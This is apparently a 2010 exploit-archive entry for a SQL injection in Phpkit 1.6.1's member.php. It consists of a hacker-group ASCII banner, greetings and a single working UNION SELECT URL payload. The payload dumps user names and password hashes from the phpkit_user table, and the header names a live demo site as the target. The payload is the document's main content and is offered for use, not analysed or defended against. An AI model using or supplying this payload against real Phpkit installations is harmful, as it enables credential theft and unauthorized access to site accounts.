PHP-Kit 1.6.1 SQL Injection

`# Exploit Title: Phpkit 1.6.1 SQL Injection member.php  
# Date: 19.02.2010  
# Author: Easy Laster  
# Tested on: windows xp  
# Demo : www.m-creutz.de /you must login  
  
  
########################################################################  
##Phpkit 1.6.1 SQL Injection member.php ##  
########################################################################  
########################################################################  
## _ _ _ _ ##  
##| |_ ___ ___ _____ ___|_|___| |_ ___ ___ ___ ___| |_ ##  
##| _| -_| .'| |___| | | _| -_| _| | -_| _| ##  
##|_| |___|__,|_|_|_| |_|_|_|_| |___|_| |_|_|___|_| ##  
## ##  
########################################################################  
##########################################################################  
#Script: Phpkit 1.6.1 SQL Injection member.php #  
#Vulnerabilities [ SQL Injection ] #  
#Language: [ PHP ] #  
#Download: [ this script is for free] #  
#Founder: [ ea$y laster ] #  
#Peace to [ -tmh- ,0qwl ,Crypter ,Dr.ChAoS ,dremicz ,eddy14 ,HANNIBAL ] #  
#[ Lidloses_Auge ,n00bor, Rip ,Sens0r ,-=Player=-] #  
#############################################################################  
/include.php?path=login/member.php&searchstr=+union+select+1,1,1,1,1,1, #  
concat(user_name,0x3a,user_pw),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, #  
1,1,1,1,1,1,1,1+from+phpkit_user+where+user_id=2# #  
#############################################################################   
  
  
  
`